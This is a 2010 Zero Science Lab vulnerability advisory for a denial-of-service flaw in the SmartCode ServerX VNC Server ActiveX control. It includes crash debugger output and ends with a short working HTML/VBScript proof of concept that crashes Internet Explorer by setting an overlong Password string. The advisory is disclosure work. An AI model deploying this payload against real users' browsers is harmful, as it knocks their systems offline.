Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit


Vendor: SmartCode Solutions
Product Web Page: htt://www.s-code.com
Version Tested: 1.1.5.0

Summary: SmartCode ServerX VNC Server control is a VNC server implemented as an
ActiveX component, which makes it extremely easy for you to integrate VNC support
into your Web or desktop applications. In the simplest scenario, you would add the
ServerX ActiveX component to your project, place the ServerX instance in a form,
and modify the ActiveX properties if desired. That's it - you just created an
application with a VNC Server embedded in it.

Desc: The vulnerability exist in the CSC_ServerXControl class with all its members.
When parsing overly long string while listening for incoming connection the application
crashes along with IE, corrupting the memory.

--

(26d8.25bc): C++ EH exception - code e06d7363 (first chance)
CSC_ServerXControl::FinalRelease
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000
eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret

--

Tested On: Microsoft Windows XP Professional SP3 (EN)
           Windows Internet Explorer 8.0.6001.18702

Zero Science Lab Advisory ID: ZSL-2010-4948
Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4948.php


Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

13.08.2010



PoC:

<html>
<object classid='clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1' id='zsl' />
<script language='vbscript'>

dos=String(18212, "A")

zsl.Password = dos

</script>
</html>